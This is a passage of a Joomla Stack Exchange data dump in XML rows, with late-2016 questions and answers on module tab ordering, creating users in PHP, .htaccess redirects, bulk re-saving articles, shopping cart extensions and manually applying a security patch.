  <row Id="18603" PostTypeId="1" AcceptedAnswerId="18605" CreationDate="2016-12-11T08:57:08.033" Score="4" ViewCount="602" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hwufD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am currently developing a joomla module. For detailed settings i have created two fieldsets - as you can see in my screenshot. Is there any way to sort the fieldsets to bring &quot;chart data&quot; and &quot;chart options&quot; tab to 2nd and 3rd place?&#xA;Order should be &#xA;Module,  chart data, chart options, ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the actual code is simple:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;config&amp;gt;&#xA;    &amp;lt;fields name=&quot;params&quot;&amp;gt;&#xA;        &amp;lt;fieldset name=&quot;MOD_NX_CHARTS_DATA_LABEL&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have already checked joomla's dev guides but i did not find any informations if that is possible or not...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Someone any suggestions if / how this could be possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help&lt;/p&gt;&#xA;" OwnerUserId="9407" LastActivityDate="2016-12-11T20:06:02.483" Title="How to Order the fieldsets for a joomla module manualy?" Tags="|joomla-3.x|development|module|form-fields-types|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18605" PostTypeId="2" ParentId="18603" CreationDate="2016-12-11T19:49:11.723" Score="2" Body="&lt;p&gt;It is technically possible to achieve, but modules aren't really designed with that in mind, so you'd have to override a com_modules view.  Personally, I think you have to have strong reason to change default Joomla behaviour as it can make patching the site more complex down the line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The tab order is defined in administrator\components\com_modules\views\module\tmpl\edit.php, in the following bit of code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        &amp;lt;?php if (isset($long_description) &amp;amp;&amp;amp; $long_description != '') : ?&amp;gt;&#xA;            &amp;lt;?php echo JHtml::_('bootstrap.addTab', 'myTab', 'description', JText::_('JGLOBAL_FIELDSET_DESCRIPTION')); ?&amp;gt;&#xA;            &amp;lt;?php echo $long_description; ?&amp;gt;&#xA;            &amp;lt;?php echo JHtml::_('bootstrap.endTab'); ?&amp;gt;&#xA;        &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;        &amp;lt;?php if ($this-&amp;gt;item-&amp;gt;client_id == 0) : ?&amp;gt;&#xA;            &amp;lt;?php echo JHtml::_('bootstrap.addTab', 'myTab', 'assignment', JText::_('COM_MODULES_MENU_ASSIGNMENT')); ?&amp;gt;&#xA;            &amp;lt;?php echo $this-&amp;gt;loadTemplate('assignment'); ?&amp;gt;&#xA;            &amp;lt;?php echo JHtml::_('bootstrap.endTab'); ?&amp;gt;&#xA;        &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;        &amp;lt;?php if ($this-&amp;gt;canDo-&amp;gt;get('core.admin')) : ?&amp;gt;&#xA;            &amp;lt;?php echo JHtml::_('bootstrap.addTab', 'myTab', 'permissions', JText::_('COM_MODULES_FIELDSET_RULES')); ?&amp;gt;&#xA;            &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;getInput('rules'); ?&amp;gt;&#xA;            &amp;lt;?php echo JHtml::_('bootstrap.endTab'); ?&amp;gt;&#xA;        &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;        &amp;lt;?php&#xA;        $this-&amp;gt;fieldsets = array();&#xA;        $this-&amp;gt;ignore_fieldsets = array('basic', 'description');&#xA;        echo JLayoutHelper::render('joomla.edit.params', $this);&#xA;        ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The first three sections of code creates the default tabs, before the following code adds any additional bespoke tabs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        &amp;lt;?php&#xA;        $this-&amp;gt;fieldsets = array();&#xA;        $this-&amp;gt;ignore_fieldsets = array('basic', 'description');&#xA;        echo JLayoutHelper::render('joomla.edit.params', $this);&#xA;        ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It does this by calling the layout at layouts\joomla\edit\params.php, which generates a tab with &lt;code&gt;echo JHtml::_('bootstrap.addTab', 'myTab', 'attrib-' . $name, $label);&lt;/code&gt; for each fieldset.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you copy the edit.php file to your &lt;strong&gt;admin&lt;/strong&gt; template, eg administrator/templates/isis/html/com_modules/module/edit.php (if you are using isis), then you can switch that order around, or write additional logic to treat specific modules differently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I say, I think it's probably not worth doing unless it gives you a strong usability benefit, as it seems the sort of thing it is easy to forget you've done at patching time.&lt;/p&gt;&#xA;" OwnerUserId="1622" LastEditorUserId="1622" LastEditDate="2016-12-11T20:06:02.483" LastActivityDate="2016-12-11T20:06:02.483" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18606" PostTypeId="1" CreationDate="2016-12-11T21:32:03.733" Score="0" ViewCount="127" Body="&lt;p&gt;Using K2, I want to select the users of whom the K2 items would be shown to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far I have created user groups and put them under registered users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any components that would allow this?&lt;/p&gt;&#xA;" OwnerUserId="9411" LastEditorUserId="126" LastEditDate="2017-01-14T14:06:32.230" LastActivityDate="2017-01-14T14:06:32.230" Title="K2 show items to selected users" Tags="|joomla-3.x|k2|acl|user-groups|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18607" PostTypeId="2" ParentId="16779" CreationDate="2016-12-12T13:15:07.883" Score="2" Body="&lt;p&gt;I forgot to post my solution. Sorry everyone. I found this information in multiple posts on StackOverflow and also after digging into the Joomla! documentation.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Requirments needed to build this function.&#xA;defined('_JEXEC') or die('Restricted access');&#xA;require_once ( JPATH_BASE . DS . 'includes' . DS . 'defines.php' );&#xA;require_once ( JPATH_BASE . DS . 'includes' . DS . 'framework.php' );&#xA;require_once ( JPATH_BASE . DS . 'libraries' . DS . 'joomla' . DS . 'factory.php' );&#xA;include_once JPATH_ROOT . '/components/com_community/libraries/core.php';&#xA;include_once JPATH_ROOT . '/components/com_community/libraries/user.php';&#xA;&#xA;/**&#xA; * Creates a new Joomla! user. This method throws errors so you have to&#xA; * wrap the call to this method in a try/catch. It will also set a default&#xA; * $name, $username and $password if none is provided.&#xA; * &#xA; * @param type $email REQUIRED&#xA; * @param string $name&#xA; * @param type $username&#xA; * @param type $password&#xA; * @return boolean&#xA; * @throws Exception&#xA; */ &#xA;function createUser($email = null, $name = null, $username = null, $password = null) {&#xA;&#xA;  if (is_null($email)) {&#xA;    throw new Exception(&quot;Email is required to create new Joomla! user.&quot;);&#xA;  }&#xA;  $uniqid = uniqid();&#xA;  if (is_null($name)) {&#xA;    $name = 'member-' . $uniqid;&#xA;  }&#xA;  if (is_null($username)) {&#xA;    $username = $name;&#xA;  }&#xA;  if (is_null($password)) {&#xA;    $password = $uniqid;&#xA;  }&#xA;&#xA;  try {&#xA;    // Create new user.&#xA;    jimport('joomla.application.component.helper');&#xA;    $params = 'com_users';&#xA;    $usersParams = JComponentHelper::getParams($params);&#xA;    $new_user = JFactory::getUser(0);&#xA;    $config = JComponentHelper::getParams('com_users');&#xA;    $defaultUserGroup = $config-&amp;gt;get('new_usertype', 2);&#xA;    $jdata = array(&#xA;      &quot;name&quot; =&amp;gt; $name,&#xA;      &quot;username&quot; =&amp;gt; $username,&#xA;      &quot;password&quot; =&amp;gt; $password,&#xA;      &quot;password2&quot; =&amp;gt; $password,&#xA;      &quot;email&quot; =&amp;gt; $email,&#xA;      &quot;sendEmail&quot; =&amp;gt; 0,&#xA;      &quot;groups&quot; =&amp;gt; array($defaultUserGroup)&#xA;    );&#xA;&#xA;    // Automatically activate user. Comment this out if you use double&#xA;    // opt-in method.&#xA;    $useractivation = $usersParams-&amp;gt;get('useractivation');&#xA;    if ($useractivation === 1) {&#xA;      jimport('joomla.user.helper');&#xA;      $jdata['activation'] = JUtility::getHash(JUserHelper::genRandomPassword());&#xA;      $jdata['block'] = 1; // block the user&#xA;    } else {&#xA;      $jdata['block'] = 0; // don't block the user&#xA;    }&#xA;&#xA;    // Write new user to the Joomla! database.&#xA;    if (!$new_user-&amp;gt;bind($jdata)) {&#xA;      throw new Exception(&quot;Could not bind data. Error: &quot; . $new_user-&amp;gt;getError());&#xA;      return false;&#xA;    }&#xA;&#xA;    if (!$new_user-&amp;gt;save()) {&#xA;      throw new Exception(&quot;Could not save user. Error: &quot; . $new_user-&amp;gt;getError());&#xA;      return false;&#xA;    }&#xA;&#xA;    // Finally, you can return the new user Id.&#xA;    $cuser = CFactory::getUser($new_user-&amp;gt;id);&#xA;    return $cuser;&#xA;&#xA;  } catch (Exception $ex) {&#xA;    consoleLog(&quot;could not create user: &quot; . $ex-&amp;gt;getMessage());&#xA;    throw new Exception($ex-&amp;gt;getMessage(), $ex-&amp;gt;getCode(), $ex-&amp;gt;getPrevious());&#xA;    return false;&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this help someone!&lt;/p&gt;&#xA;" OwnerUserId="8550" LastActivityDate="2016-12-12T13:15:07.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18608" PostTypeId="1" CreationDate="2016-12-12T13:25:18.500" Score="2" ViewCount="75" Body="&lt;p&gt;Im a landscape and nature photog.  Im looking for a good, opensource, easy to use shopping cart to sell my photography.  I really want to spend most of my time taking pics not maintaining my shopping cart.  Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tim&lt;/p&gt;&#xA;" OwnerUserId="9415" LastEditorUserId="27" LastEditDate="2016-12-12T15:13:31.610" LastActivityDate="2017-04-12T08:20:40.520" Title="Joomla! Shopping Cart Extension Recommendation for Photography" Tags="|joomla-3.x|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18609" PostTypeId="2" ParentId="18608" CreationDate="2016-12-12T14:40:57.737" Score="1" Body="&lt;p&gt;Stay away from VirtueMart. It's not at all what it used to be (it was the reason why many website owners used to Joomla), and most of our clients using it are migrating in droves to non-hosted system such as Shopify, 3DCart, and BigCommerce. Shopify is probably the easiest of these 3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your shop is really simple, and you don't want to pay a monthly fee (+ transaction fees) for your shop, then you can go with RokQuickCart. It works and it's very simple to use (hence the word Quick in its name).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Going back to VirtueMart, the problems started with the migration from VirtueMart 1 to VirtueMart 2, which was even messier than the migration from Joomla 1.5 to Joomla 2.5. I have no idea why the VirtueMart people didn't create a reliable tool to do that. Even if you use VirtueMart 2 from scratch, you are faced with a myriad of problems, ranging from simple things, such as creating variations of your products (which is super messy in VM 2) to complex things, such as handling the security of your store. The checkout process is also extremely confusing in VM and deters conversions (you will know what I mean if you use it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All in all, it is worth it to invest in a non-self-hosted shop if you can afford it and you are willing to pay their fees (expect to pay something like 3% of your total transaction so that they can process it for you, also expect to pay a monthly fee that it is around $30/month). You don't have to worry about the security of your shop, you don't have to worry about the technical aspects of your shop, and adding/updating products in your store is relatively much easier than using VM.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2016-12-12T14:40:57.737" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18610" PostTypeId="1" AcceptedAnswerId="18614" CreationDate="2016-12-12T15:32:03.160" Score="1" ViewCount="346" Body="&lt;p&gt;I inherited a site that was not configured with url rewriting, leaving the index.php as a part of all the site's urls. I plan to implement this, but we also have over a year's worth of posts spread across at least three different social media. I'm guessing that I need to configure some sort of redirect to make sure that the old links map to the new links, is that right? Is this something I have to do in an .htaccess file, or is there a module for this. Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="8870" LastActivityDate="2016-12-12T23:17:37.490" Title="How to set up website redirects after enabling url rewriting?" Tags="|url|joomla-3.6|redirect|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18611" PostTypeId="1" CreationDate="2016-12-12T19:29:40.073" Score="2" ViewCount="519" Body="&lt;p&gt;I'm trying to put together a simly e-mail template which will be send to newly registered users on my page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should contain an image in the header and the standard welcome text for new users which Joomla sends by default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Does anybody know, if there's a way how to enable HTML(and maybe CSS) for the standard registration E-mail please?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created a language override for the particular Constant: &lt;strong&gt;COM_USERS_EMAIL_REGISTERED_WITH_ACTIVATION_BODY&lt;/strong&gt;&#xA;And I added the HTML code into the override as well. I just can't figure out, how to tell Joomla, that it should render the Image instead of the HTML code :eek:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tired to set $mailer value in the configuration.php of my site to: public &lt;strong&gt;$mailer = 'isHTML(TRUE)';&lt;/strong&gt; but that didn't help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the Joomla! 3.6.4 version currently on my server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I already searched for an answer on this forum, but couldn't find anything suitable for my case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="9420" LastActivityDate="2016-12-14T21:17:29.440" Title="Enable HTML for the user registration e-mail" Tags="|joomla-3.x|email-template|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18612" PostTypeId="1" AcceptedAnswerId="18617" CreationDate="2016-12-12T20:00:28.460" Score="3" ViewCount="450" Body="&lt;p&gt;Many templates come with demonstration data that may be installed to show off the features of a template. Is there a simple method of deleting all this data or am I going to be forced to delete each item individually?&lt;/p&gt;&#xA;" OwnerUserId="9412" LastActivityDate="2016-12-13T06:39:09.133" Title="Delete all demo data" Tags="|templates|database|features|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18613" PostTypeId="2" ParentId="18594" CreationDate="2016-12-12T20:54:54.610" Score="4" Body="&lt;p&gt;Go to the menu that includes the list of all tags, then open up the page you created as a list of all tags. There should be a menu tab called &quot;selection options&quot;. Set &quot;Display Select&quot;, &quot;Pagination&quot; and &quot;Pagination Results&quot; to &quot;Hide&quot;.&lt;/p&gt;&#xA;" OwnerUserId="9145" LastActivityDate="2016-12-12T20:54:54.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18614" PostTypeId="2" ParentId="18610" CreationDate="2016-12-12T23:17:37.490" Score="1" Body="&lt;p&gt;Once URL Rewriting is enabled, links including index.php will still work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To help preserve search engine rankings you can redirect the urls that include index.php to the non-index.php versions using .htaccess like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine On&#xA;RewriteBase /&#xA;RewriteCond %{THE_REQUEST} ^GET.*index\.php [NC]&#xA;RewriteRule (.*?)index\.php/*(.*) /$1$2 [R=301,NE,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Reference: &lt;a href=&quot;https://stackoverflow.com/a/24008632/1983389&quot;&gt;https://stackoverflow.com/a/24008632/1983389&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2016-12-12T23:17:37.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18616" PostTypeId="1" AcceptedAnswerId="18620" CreationDate="2016-12-13T06:35:31.217" Score="1" ViewCount="258" Body="&lt;p&gt;I want to edit/update Joomla article using an external script. The assets table has been broken and for that I used ACL Manager to fix it. But there are some missing assets for which I need to open and &lt;code&gt;re-save the articles&lt;/code&gt; without modifying anything. &lt;code&gt;No content modification&lt;/code&gt; I can do this manually but when data is heavy, then opening and re-saving each and every article would be hectic. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore, I want to create a php script using which I can update the articles or just save them as it is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="7632" LastActivityDate="2016-12-13T09:45:12.190" Title="How to update bulk articles using php script without content modification" Tags="|php|articles|joomla-3.6|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18617" PostTypeId="2" ParentId="18612" CreationDate="2016-12-13T06:39:09.133" Score="1" Body="&lt;p&gt;Go to &#xA;1) Content-&gt;Articles, Check All and Trash.&#xA;2) Content-&gt;Categories, Check All and Trash.&#xA;Voila: all content in Trash. Then you can Empty trash.&lt;/p&gt;&#xA;" OwnerUserId="8525" LastActivityDate="2016-12-13T06:39:09.133" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18620" PostTypeId="2" ParentId="18616" CreationDate="2016-12-13T09:45:12.190" Score="2" Body="&lt;p&gt;I solved the problem of manual update using the following script. In this case, I only wanted to update the missing assets articles mentioned in ACL manager. There were about 1000 such articles. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (!defined('_JEXEC')) {&#xA;    define( '_JEXEC', 1 );&#xA;    define('JPATH_BASE', realpath(dirname(__FILE__)));&#xA;    require_once ( JPATH_BASE .'/includes/defines.php' );&#xA;    require_once ( JPATH_BASE .'/includes/framework.php' );&#xA;    defined('DS') or define('DS', DIRECTORY_SEPARATOR);&#xA;}&#xA;&#xA;$app = JFactory::getApplication('site');&#xA;$db = JFactory::getDbo();&#xA;&#xA;&#xA;$basePath = JPATH_ADMINISTRATOR.'/components/com_content';&#xA;require_once $basePath.'/models/article.php';&#xA;$article_model =  JModelLegacy::getInstance('Article','ContentModel');&#xA;&#xA;require_once JPATH_ADMINISTRATOR.'/components/com_aclmanager/models/diagnostic.php';&#xA;$acl_model =  JModelLegacy::getInstance('Diagnostic','AclmanagerModel');&#xA;$missingAssets = $acl_model-&amp;gt;getMissingAssets();&#xA;&#xA;/*&#xA; * @missingAssets : returns array of issues present in asset table&#xA; *&#xA;*/&#xA;foreach ($missingAssets as $key =&amp;gt; $value) {&#xA;    //to check and update only articles. The array might contain type of category and module as well&#xA;    if($value-&amp;gt;type == 'article'){&#xA;        $query = $db-&amp;gt;getQuery(true);&#xA;        $query-&amp;gt;select('*')-&amp;gt;from('#__content')-&amp;gt;where('id='.$value-&amp;gt;id.'');&#xA;        $update_data = $db-&amp;gt;setQuery($query)-&amp;gt;loadAssoc();&#xA;        $article_model-&amp;gt;save($update_data);&#xA;        echo '&amp;lt;p&amp;gt;article updated - '.$value-&amp;gt;id.'&amp;lt;/p&amp;gt;';&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have added more description in &lt;a href=&quot;https://github.com/ruchikanagarkar/Update-bulk-articles-in-joomla-using-php&quot; rel=&quot;nofollow noreferrer&quot;&gt;github&lt;/a&gt; . So, one can refer this also if more guidance is needed.&lt;/p&gt;&#xA;" OwnerUserId="7632" LastActivityDate="2016-12-13T09:45:12.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18621" PostTypeId="1" AcceptedAnswerId="18622" CreationDate="2016-12-13T11:19:15.957" Score="2" ViewCount="1766" Body="&lt;p&gt;In a plugin I need to get the Title (from Article or Menu or Modules) from a given ID. I am using the following code and it's working but I would like to know if it is correct doing this way or is a better/more proper way of doing it.&#xA;Thank you.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$id      // ID from menu, article or module&#xA;$context // could be menu, content or module&#xA;&#xA;$apk = JTable::getInstance($context);&#xA;$apk-&amp;gt;load($id);&#xA;$title = $apk-&amp;gt;get('title');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2087" LastEditorUserId="2087" LastEditDate="2016-12-13T11:24:36.680" LastActivityDate="2016-12-13T11:25:41.437" Title="Get Title from ID" Tags="|joomla-3.x|development|plugin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18622" PostTypeId="2" ParentId="18621" CreationDate="2016-12-13T11:25:41.437" Score="4" Body="&lt;p&gt;You could try something like the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function onYOURFUNCTION($context, &amp;amp;$article, &amp;amp;$params)&#xA;{&#xA;    $id   = JFactory::getApplication()-&amp;gt;input-&amp;gt;getInt('id');&#xA;    $load = $article-&amp;gt;load($id);&#xA;&#xA;    echo $load-&amp;gt;get('title');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or if you want to go down to JTable route:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function onYOURFUNCTION($context, &amp;amp;$article, &amp;amp;$params)&#xA;{&#xA;    $input = JFactory::getApplication()-&amp;gt;input-&amp;gt;getInt('id');&#xA;    $table = JTable::getInstance('content');&#xA;    $table-&amp;gt;load($id);&#xA;&#xA;    echo $table-&amp;gt;get('title');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2016-12-13T11:25:41.437" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18623" PostTypeId="2" ParentId="18611" CreationDate="2016-12-13T11:52:20.870" Score="3" Body="&lt;p&gt;I recommend you to use Acymailing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They have included a functionality that allows you to use your own HTML email for any of the Joomla standard emails.&lt;/p&gt;&#xA;" OwnerUserId="371" LastEditorUserId="3650" LastEditDate="2016-12-14T21:17:29.440" LastActivityDate="2016-12-14T21:17:29.440" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18624" PostTypeId="1" AcceptedAnswerId="18899" CreationDate="2016-12-13T13:17:58.510" Score="1" ViewCount="245" Body="&lt;p&gt;Is it possible to pass arguments to controller action methods, like&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;public function someAction($myArgument) { ... }&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or is using &lt;code&gt;JInput&lt;/code&gt; the only way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;: Using a URL like &lt;code&gt;option=com_mycomponent&amp;amp;task=mycontroller.someaction&amp;amp;myargument=asd&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="7077" LastEditorUserId="126" LastEditDate="2017-01-20T07:32:00.863" LastActivityDate="2017-01-20T07:32:00.863" Title="Pass argument to controller methods" Tags="|controller|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="18625" PostTypeId="1" AcceptedAnswerId="18834" CreationDate="2016-12-13T14:04:38.957" Score="5" ViewCount="550" Body="&lt;p&gt;In classic MVC, you have models that loosely corresponds to the underlying database tables. Why would Joomla need both models and tables?&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Some quotes from provided links:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;In summary, the model focuses on business logic and the table on data entities in the database.  By entity, I mean a single row in a table in a database.&lt;/p&gt;&#xA;&lt;p&gt;&amp;quot;So, a JModel class would have one, or more, JTable classes as properties?&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;That is the idea.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="7077" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2017-05-15T11:58:39.637" Title="Why does Joomla have both models and tables?" Tags="|mvc|model|jtable|jmodel|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18627" PostTypeId="1" CreationDate="2016-12-13T19:06:41.767" Score="2" ViewCount="73" Body="&lt;p&gt;I'm looking for advice on how to make a survey for my Joomla production (3.6.4) site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A key requirement is to restrict respondents to only taking the survey once (i.e. preventing 'ballot-box' stuffing).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I looked in Joomla Extension Directory, but I haven't found a solution for my functionality, so I'm thinking about developing a simple plugin or module to integrate my form with tokens. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I came to the conclusion that the best solution to protect against re-examination would be token codes generated and delivered earlier for my respondents.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought about three solutions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;PHP code for checking simple txt file if code exist, and erase it after sending answer.&lt;/li&gt;&#xA;&lt;li&gt;Create a table in MySQL for codes and checking if code was used.&lt;/li&gt;&#xA;&lt;li&gt;Use something similar to captcha.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This will be my first deeper programming in Joomla so any advice or solution will be very helpful for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your attention.&lt;/p&gt;&#xA;" OwnerUserId="9149" LastEditorUserId="12352" LastEditDate="2019-11-16T23:09:40.323" LastActivityDate="2019-11-16T23:09:40.323" Title="How to develop a survey extension which prevents respondents from taking a survey more than once?" Tags="|php|development|form|security-token|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18629" PostTypeId="1" AcceptedAnswerId="18633" CreationDate="2016-12-14T01:35:15.100" Score="3" ViewCount="587" Body="&lt;p&gt;Joomla 3.6.5 is released &lt;a href=&quot;https://www.joomla.org/announcements/release-news/5693-joomla-3-6-5-released.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;today&lt;/a&gt; that includes a High Priority security fix that is affecting Joomla! 1.6.0 through 3.6.4. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I apply the fix manually to Joomla 2.5.999 (&lt;a href=&quot;https://github.com/PhilETaylor/Joomla2.5.999&quot; rel=&quot;nofollow noreferrer&quot;&gt;PhilETaylor's unofficial fork&lt;/a&gt;) as I have a joomla 2.5 that can't be updated to Joomla 3.x because of some reasons?&lt;/p&gt;&#xA;" OwnerUserId="2295" LastEditorUserId="5638" LastEditDate="2016-12-14T21:18:17.227" LastActivityDate="2016-12-15T23:40:09.643" Title="Manual update to Joomla 2.5.999 for 3.6.5 update" Tags="|joomla-2.5|security|update|joomla-3.6|" AnswerCount="5" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="18630" PostTypeId="2" ParentId="18629" CreationDate="2016-12-14T05:42:50.770" Score="0" Body="&lt;p&gt;To be completely honest and even if you do not like the answer I hope it will at least help you not to waste time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It can be done, but I don´t recommend it at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla 3.6.X are literally thousands of lines of code and hundreds of errors fixed. Many of them have been critical security errors, not just the latter one in 3.6.5.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's much better that you try to solve the reasons why you can not upgrade.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bye&lt;/p&gt;&#xA;" OwnerUserId="371" LastEditorUserId="371" LastEditDate="2016-12-14T14:40:05.440" LastActivityDate="2016-12-14T14:40:05.440" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="18631" PostTypeId="2" ParentId="18627" CreationDate="2016-12-14T05:48:51.423" Score="2" Body="&lt;p&gt;Some more ideas:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Save a cookie in the user's browser.&lt;/li&gt;&#xA;&lt;li&gt;Get users IP address and store in BD.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="371" LastEditorUserId="115" LastEditDate="2016-12-14T06:37:26.733" LastActivityDate="2016-12-14T06:37:26.733" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18633" PostTypeId="2" ParentId="18629" CreationDate="2016-12-14T11:33:10.870" Score="2" Body="&lt;p&gt;I did start writing out all the code you'll need but as you know, Joomla 2.5 differs and I haven't worked with it for a long time, so I won't go down that route.&lt;/p&gt;&#xA;&lt;h3&gt;Step 1: Take a backup of your site before doing this!&lt;/h3&gt;&#xA;&lt;p&gt;You'll need to download the &lt;a href=&quot;https://downloads.joomla.org/cms/joomla3/3-6-5/joomla_3-6-4_to_3-6-5-stable-patch_package-zip?format=zip&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla 3.6.4 to 3.6.5 update package&lt;/a&gt; (direct download link) from joomla.org&lt;/p&gt;&#xA;&lt;p&gt;The files you'll need will be in the following 